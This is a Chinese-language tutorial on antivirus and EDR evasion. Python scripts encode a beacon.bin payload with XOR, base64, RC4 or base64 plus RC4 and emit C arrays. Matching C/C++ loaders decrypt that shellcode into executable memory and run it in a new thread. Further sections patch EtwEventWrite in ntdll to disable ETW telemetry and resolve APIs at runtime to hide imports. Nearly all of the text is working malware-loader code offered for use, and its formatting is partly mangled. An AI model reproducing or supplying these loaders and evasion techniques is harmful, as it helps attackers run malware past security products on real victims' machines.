目录
- shellcode处理篇
- c语⾔数组
- xor加密
- 数字型异或
- 异或编码
- 解密执行
- 字符型异或
- 异或编码
- 解密执⾏
- base64编码
- 编码
- 解密执⾏
- RC4加密
- 常规rc4
- 加密转换
- 解密执⾏
- base64+rc4
- 加密转换
- 解密执⾏
- 免杀逃逸效果
- patch etw
- 函数导⼊表隐藏
shellcode处理篇
c语⾔数组
使用python,将bin文件处理成C语言数组
def read_binary_file(filename):with open(filename, "rb") as file:return file.read()def generate_c_array(data): nop = "\t0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,"c_array = ""for i, byte in enumerate(data):if i % 100 == 0:c_array += "\n"c_array += "\t"c_array += f"0x{byte:02X}, "c_array = c_array.rstrip(", ") # 移除最后⼀个逗号和空格return "{"+nop+c_array+"\n};"def main():# 读取⼆进制⽂件filename = "beacon.bin"binary_data = read_binary_file(filename)# ⽣成C格式的数组c_array = generate_c_array(binary_data)# 将结果输出到⽂件output_filename = "res.txt"with open(output_filename, "w") as file:file.write(c_array)if __name__ == "__main__":main()
xor加密
数字型异或
异或编码
def read_binary_file(filename):with open(filename, "rb") as file:return file.read()def xor_data(data, key):return bytes(byte ^ key for byte in data)def generate_c_array(data):nop = "\t0x90,0x90,0x90,0x90,0x90,0x90,0x90,0x90,"c_array = nop + "\n\t"for i, byte in enumerate(data):if i % 100 == 0 and i != 0:c_array += "\n\t"c_array += f"0x{byte:02X}, "c_array = c_array.rstrip(", ") # 移除最后一个逗号和空格return "{" + c_array + "\n};"def main():# 读取⼆进制⽂件filename = "beacon.bin"binary_data = read_binary_file(filename)# 异或处理数据xor_key = 77xor_result = xor_data(binary_data, xor_key)# ⽣成C格式的数组c_array = generate_c_array(xor_result)# 将结果输出到⽂件output_filename = "res.txt"with open(output_filename, "w") as file:file.write(c_array)if __name__ == "__main__":main()
解密执行
#include <Windows.h>// 异或解密函数的实现
void xorDecrypt(unsigned char* data, size_t size, unsigned char key)
{for (size_t i = 0; i < size; ++i)
{data[i] ^= key;}}int main()
{// 加密的Shellcodeunsigned char encryptedShellcode[] = { 0xdd };// 计算Shellcode的⼤⼩size_t shellcodeSize = sizeof(encryptedShellcode) - 1; // 减去字符串结尾的空字符// 解密ShellcodexorDecrypt(encryptedShellcode, shellcodeSize, 77);// 分配可执⾏内存HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);PVOID pShellcode = HeapAlloc(hHeap, 0, shellcodeSize);RtlCopyMemory(pShellcode, encryptedShellcode, shellcodeSize);// 创建线程执⾏ShellcodeDWORD dwThreadId = 0;HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);WaitForSingleObject(hThread, INFINITE);// 清理资源HeapFree(hHeap, 0, pShellcode);CloseHandle(hThread);HeapDestroy(hHeap);return 0;
}
字符型异或
异或编码
def read_binary_file(filename):with open(filename, "rb") as file:return file.read()
def xor_data(data, key):key_length = len(key)return bytes(byte ^ key[i % key_length] for i, byte in enumerate(data)
)
def generate_c_array(data):c_array = ""for i, byte in enumerate(data):if i % 100 == 0:c_array += "\n"c_array += "\t"c_array += f"0x{byte:02X}, "c_array = c_array.rstrip(", ") # 移除最后⼀个逗号和空格return "{"+c_array+"\n};"def main():# 读取⼆进制⽂件filename = "beacon.bin"binary_data = read_binary_file(filename)# 异或处理数据xor_key = "baidu"xor_result = xor_data(binary_data, xor_key.encode())# ⽣成C格式的数组c_array = generate_c_array(xor_result)# 将结果输出到⽂件output_filename = "res.txt"with open(output_filename, "w") as file:file.write(c_array)
if __name__ == "__main__":main()
解密执⾏
#include <Windows.h>
// 异或解密函数的实现
void xorDecrypt(unsigned char* data, size_t size, const char* key){size_t keyLength = strlen(key);for (size_t i = 0; i < size; ++i){data[i] ^= key[i % keyLength];}
}int main()
{// 加密的Shellcodeunsigned char encryptedShellcode[] = "xxx"; // 加密的Shellcode// 计算Shellcode的⼤⼩size_t shellcodeSize = sizeof(encryptedShellcode) - 1; // 减去字符串结尾的空字符// 解密Shellcodeconst char* xorKey = "baidu";xorDecrypt(encryptedShellcode, shellcodeSize, xorKey);// 分配可执⾏内存HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);PVOID pShellcode = HeapAlloc(hHeap, 0, shellcodeSize);RtlCopyMemory(pShellcode, encryptedShellcode, shellcodeSize);// 创建线程执⾏ShellcodeDWORD dwThreadId = 0;HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);WaitForSingleObject(hThread, INFINITE);// 清理资源HeapFree(hHeap, 0, pShellcode);CloseHandle(hThread);HeapDestroy(hHeap);return 0;
}
base64编码
编码
import base64def read_binary_file(filename):with open(filename, "rb") as file:return file.read()def base64_encode(data):encoded_data = base64.b64encode(data)return encoded_data.decode("utf-8")def generate_c_array(data):c_array = ""for i, char in enumerate(data):if i % 100 == 0:c_array += "\n"c_array += "\t"c_array += f"0x{ord(char):02X}, "c_array = c_array.rstrip(", ") # 移除最后⼀个逗号和空格return "{" + c_array + "\n};"def main():# 读取⼆进制⽂件filename = "beacon.bin"binary_data = read_binary_file(filename)# Base64编码处理数据encoded_data = base64_encode(binary_data)# ⽣成C格式的数组c_array = generate_c_array(encoded_data)# 将结果输出到⽂件output_filename = "res.txt"with open(output_filename, "w") as file:file.write(c_array)if __name__ == "__main__":main()
解密执⾏
#include <Windows.h>
#include <string>
#include <vector>
#include <iostream>
#include <algorithm>
#include <iterator>
#include <sstream>
#include <iomanip>
#include <stdexcept>// 解码Base64函数的实现
std::vector<unsigned char> base64Decode(const std::string& encodedData)
{static const std::string base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789 + / ";size_t encodedLength = encodedData.size();if (encodedLength % 4 != 0)
{throw std::invalid_argument("Invalid Base64 encoded string.");}size_t padding = 0;if (encodedLength > 0 && encodedData[encodedLength - 1] == '=')
{padding++;if (encodedData[encodedLength - 2] == '=')
{padding++;}}size_t decodedLength = (encodedLength * 3) / 4 - padding;std::vector<unsigned char> decodedData(decodedLength, 0);for (size_t i = 0, j = 0; i < encodedLength;)
{uint32_t sextet_a = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_b = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_c = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_d = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t triple = (sextet_a << 18) | (sextet_b << 12) | (sextet_c<< 6) | sextet_d;if (j < decodedLength)
{decodedData[j++] = (triple >> 16) & 0xFF;}if (j < decodedLength)
{decodedData[j++] = (triple >> 8) & 0xFF;}if (j < decodedLength)
{decodedData[j++] = triple & 0xFF;}}return decodedData;
}int main()
{// Base64编码的Shellcodestd::string encodedShellcode = "xxx"; // Base64编码的Shellcode// Base64解码Shellcodestd::vector<unsigned char> decodedShellcode = base64Decode(encodedShellcode);// 分配可执⾏内存HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);PVOID pShellcode = HeapAlloc(hHeap, 0, decodedShellcode.size());RtlCopyMemory(pShellcode, decodedShellcode.data(), decodedShellcode.size());// 创建线程执⾏ShellcodeDWORD dwThreadId = 0;HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pShellcode, NULL, 0, &dwThreadId);WaitForSingleObject(hThread, INFINITE);// 清理资源HeapFree(hHeap, 0, pShellcode);CloseHandle(hThread);HeapDestroy(hHeap);return 0;
}
RC4加密
常规rc4
加密转换
from Crypto.Cipher import ARC4def encrypt_rc4(key, data):cipher = ARC4.new(key)encrypted_data = cipher.encrypt(data)return encrypted_datadef generate_c_array(data):c_array = ""for i, byte in enumerate(data):if i % 100 == 0 and i != 0:c_array += "\n"c_array += "\t"c_array += f"{hex(byte)}, "return "{\t" + c_array.rstrip(", ") + "\n};"def write_to_file(filename, content):with open(filename, "w") as file:file.write(content)# 读取文件
with open("beacon.bin", "rb") as file:beacon_data = file.read()def main():# RC4加密key = b"YourKey"encrypted_data = encrypt_rc4(key, beacon_data)# 生成C格式数组c_array = generate_c_array(encrypted_data)# 写入文件write_to_file("res.txt", c_array)if __name__ == "__main__":main()
解密执⾏
main.cpp
#include <Windows.h>
#include "rc4.h"int main() {char key[] = "YourKey";unsigned char encrypted_shellcode[] = "encrypted_shellcode";int encrypted_shellcode_len = sizeof(encrypted_shellcode) - 1;unsigned char S[N] = { 0 };KSA(key, S);PRGA(S, reinterpret_cast<char*>(encrypted_shellcode), encrypted_shellcode_len);HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);PVOID Mptr = HeapAlloc(hHeap, 0, encrypted_shellcode_len);RtlCopyMemory(Mptr, encrypted_shellcode, encrypted_shellcode_len);DWORD dwThreadId = 0;HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);WaitForSingleObject(hThread, INFINITE);return 0;
}
rc4.cpp
#pragma once#define N 256 // 2^8static void swap(unsigned char* a, unsigned char* b) {unsigned char tmp = *a;*a = *b;*b = tmp;
}static int KSA(char* key, unsigned char* S) {int len = strlen(key);unsigned int j = 0;for (int i = 0; i < N; i++) {S[i] = i;}for (int i = 0; i < N; i++) {j = (j + S[i] + key[i % len]) % N;swap(&S[i], &S[j]);}return 0;
}static int PRGA(unsigned char* S, char* plaintext, int plainTextSize) {int i = 0;int j = 0;for (size_t n = 0; n < plainTextSize; n++) {i = (i + 1) % N;j = (j + S[i]) % N;swap(&S[i], &S[j]);int rnd = S[(S[i] + S[j]) % N];plaintext[n] ^= rnd;}return 0;
}// 使用案例
/*
static int RC4(char* key, char* plaintext, int plainTextSize) {unsigned char S[N] = { 0 };KSA(key, S);PRGA(S, plaintext, plainTextSize);return 0;
}
*/
base64+rc4
加密转换
from Crypto.Cipher import ARC4
import base64def read_binary_file(filename):with open(filename, "rb") as file:return file.read()def encrypt_rc4(key, data):cipher = ARC4.new(key)return cipher.encrypt(data)def base64_encode(data):return base64.b64encode(data).decode("utf-8")def generate_c_array(data):c_array = ""for i, char in enumerate(data):if i % 100 == 0 and i > 0:c_array += "\n\t"c_array += f"0x{ord(char):02X}, "return "{" + c_array.rstrip(", ") + "\n};"def main():filename = "beacon.bin"binary_data = read_binary_file(filename)# RC4加密key = b"YourKey"encrypted_data = encrypt_rc4(key, binary_data)# Base64编码处理数据encoded_data = base64_encode(encrypted_data)c_array = generate_c_array(encoded_data)# 将结果输出到文件output_filename = "res.txt"with open(output_filename, "w") as file:file.write(c_array)if __name__ == '__main__':main()
解密执⾏
rc4.h
#pragma once#include <string.h>#define N 256 // 2^8static void swap(unsigned char* a, unsigned char* b) {unsigned char tmp = *a;*a = *b;*b = tmp;
}static void KSA(const char* key, unsigned char* S) {int len = strlen(key);unsigned int j = 0;for (int i = 0; i < N; i++) {S[i] = i;}for (int i = 0; i < N; i++) {j = (j + S[i] + key[i % len]) % N;swap(&S[i], &S[j]);}
}static void PRGA(unsigned char* S, unsigned char* plaintext, int plainTextSize) {int i = 0, j = 0;for (int n = 0; n < plainTextSize; n++) {i = (i + 1) % N;j = (j + S[i]) % N;swap(&S[i], &S[j]);int rnd = S[(S[i] + S[j]) % N];plaintext[n] ^= rnd;}
}// 使用案例
/*
static void RC4(const char* key, unsigned char* plaintext, int plainTextSize) {unsigned char S[N] = { 0 };KSA(key, S);PRGA(S, plaintext, plainTextSize);
}
*/
base64.h
#include <Windows.h>
#include <iostream>
#include <vector>
#include <stdexcept>// 解码Base64函数的实现
std::vector<unsigned char> base64Decode(const std::string& encodedData) {static const std::string base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";size_t encodedLength = encodedData.size();if (encodedLength % 4 != 0) {throw std::invalid_argument("Invalid Base64 encoded string.");}size_t padding = 0;if (encodedLength > 0 && encodedData[encodedLength - 1] == '=') {padding++;if (encodedData[encodedLength - 2] == '=') {padding++;}}size_t decodedLength = (encodedLength * 3) / 4 - padding;std::vector<unsigned char> decodedData(decodedLength, 0);for (size_t i = 0, j = 0; i < encodedLength;) {uint32_t sextet_a = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_b = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_c = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t sextet_d = encodedData[i] == '=' ? 0 & i++ : base64Chars.find(encodedData[i++]);uint32_t triple = (sextet_a << 18) | (sextet_b << 12) | (sextet_c << 6) | sextet_d;if (j < decodedLength) decodedData[j++] = (triple >> 16) & 0xFF;if (j < decodedLength) decodedData[j++] = (triple >> 8) & 0xFF;if (j < decodedLength) decodedData[j++] = triple & 0xFF;}return decodedData;
}
main.cpp
#include <Windows.h>
#include <string>
#include <vector>
#include "rc4.h"
#include "base64.h"int main() {// Base64编码的Shellcodestd::string encodedShellcode = {0x72, 0x39, 0x66, 0x63, 0x73, 0x34};// Base64解码Shellcodestd::vector<unsigned char> decodedShellcode = base64Decode(encodedShellcode);char key[] = "YourKey";unsigned char S[N] = {0};KSA(key, S);PRGA(S, reinterpret_cast<char*>(decodedShellcode.data()), decodedShellcode.size());HANDLE hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0, 0);PVOID Mptr = HeapAlloc(hHeap, 0, decodedShellcode.size());RtlCopyMemory(Mptr, decodedShellcode.data(), decodedShellcode.size());DWORD dwThreadId = 0;HANDLE hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)Mptr, NULL, NULL, &dwThreadId);WaitForSingleObject(hThread, INFINITE);return 0;
}
免杀逃逸效果
patch etw
Windows 事件跟踪 (ETW) 是⼀项内置功能,最初设计⽤于执⾏软件诊断,如今 ETW 被EDR⼚商⼴泛
使⽤。对 ETW 的攻击会使依赖 ETW 遥测的⼀整类安全解决⽅案失效。
ETW指Windows事件追踪,是很多安全产品使⽤的windows功能。
其部分功能位于ntdll.dll中,可以修改内存中的etw相关函数达到禁⽌⽇志输出的效果,最常⻅的⽅法是
修改EtwEventWrite函数。
#include <windows.h>
#include <stdio.h>
#include <iostream>using namespace std;typedef void* (*tNtVirtual)(HANDLE ProcessHandle, IN OUT PVOID* BaseAddress,IN OUT PSIZE_T NumberOfBytesToProtect,IN ULONG NewAccessProtection,OUT PULONG OldAccessProtection);
tNtVirtual oNtVirtual;void patchETW() {unsigned char patch[] = {0x48, 0x33, 0xc0, 0xc3}; // xor rax, rax; retULONG oldprotect = 0;size_t size = sizeof(patch);HANDLE hCurrentProc = GetCurrentProcess();unsigned char sEtwEventWrite[] = "EtwEventWrite";void* pEventWrite = GetProcAddress(GetModuleHandle(L"ntdll.dll"), (LPCSTR)sEtwEventWrite);if (pEventWrite == NULL) {cout << "Error: Unable to get EtwEventWrite address" << endl;return;}printf("NTDLL.DLL START ADDRESS: %08x\n", (DWORD)GetModuleHandle(L"ntdll.dll"));FARPROC farProc = GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtProtectVirtualMemory");if (farProc == NULL) {cout << "Error: Unable to get NtProtectVirtualMemory address" << endl;return;}printf("NtProtectVirtualMemory ADDRESS: %08x\n", (DWORD)farProc);oNtVirtual = (tNtVirtual)farProc;oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, PAGE_READWRITE, &oldprotect);memcpy(pEventWrite, patch, sizeof(patch));oNtVirtual(hCurrentProc, &pEventWrite, (PSIZE_T)&size, oldprotect, &oldprotect);FlushInstructionCache(hCurrentProc, pEventWrite, size);
}int main() {patchETW();unsigned char ShellCode[] = ""; // Add your shellcode herevoid* exec = VirtualAlloc(0, sizeof(ShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(exec, ShellCode, sizeof(ShellCode));((void(*)())exec)();return 0;
}
函数导⼊表隐藏
Import Address Table
在PE结构中,存在⼀个导⼊表,导⼊表中声明了这个PE⽂件会载⼊哪些模块,同时每个模块的结构中⼜
会指向模块中的⼀些函数名称。
这样的组织关系是为了告诉操作系统这些函数的地址在哪⾥,⽅便修正调⽤地址。
由于导⼊函数就是被程序调⽤但其执⾏代码⼜不在程序中的函数,这些函数的代码位于⼀个或者多个
DLL中。
当PE⽂件被装⼊内存的时候,Windows装载器才将DLL装⼊,并将调⽤导⼊函数的指令和函数实际所处
的地址联系起来(动态连接),这操作就需要导⼊表完成。
其中导⼊地址表就指示函数实际地址。
#include <Windows.h>
#include <intrin.h>
#include <stdio.h>typedef LPVOID(WINAPI* ImportVirtualAlloc)(LPVOID lpAddress,SIZE_T dwSize,DWORD flAllocationType,DWORD flProtect
);typedef HANDLE(WINAPI* ImportCreateThread)(LPSECURITY_ATTRIBUTES lpThreadAttributes,SIZE_T dwStackSize,LPTHREAD_START_ROUTINE lpStartAddress,LPVOID lpParameter,DWORD dwCreationFlags,LPDWORD lpThreadId
);typedef BOOL(WINAPI* ImportVirtualProtect)(LPVOID lpAddress,SIZE_T dwSize,DWORD flNewProtect,LPDWORD lpflOldProtect
);typedef DWORD(WINAPI* ImportWaitForSingleObject)(HANDLE hHandle,DWORD dwMilliseconds
);int main() {ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");int shellcode_size = 0; // Shellcode lengthDWORD dwThreadId; // Thread IDHANDLE hThread; // Thread handleDWORD dwOldProtect; // Memory page attributeschar buf[] = ""; // Placeholder for shellcode// Get shellcode sizeshellcode_size = sizeof(buf);// XOR the shellcodefor (int i = 0; i < shellcode_size; i++) {_InterlockedXor8(buf + i, 10);}char* shellcode = (char*)MyVirtualAlloc(NULL,shellcode_size,MEM_COMMIT,PAGE_READWRITE // Allocate readable and writable);// Copy shellcode to allocated memoryCopyMemory(shellcode, buf, shellcode_size);// Change memory attributes to executableMyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);hThread = MyCreateThread(NULL, // Security attributesNULL, // Stack size(LPTHREAD_START_ROUTINE)shellcode, // FunctionNULL, // ParameterNULL, // Thread flags&dwThreadId // Thread ID);MyWaitForSingleObject(hThread, INFINITE); // Wait for thread to finishreturn 0;
}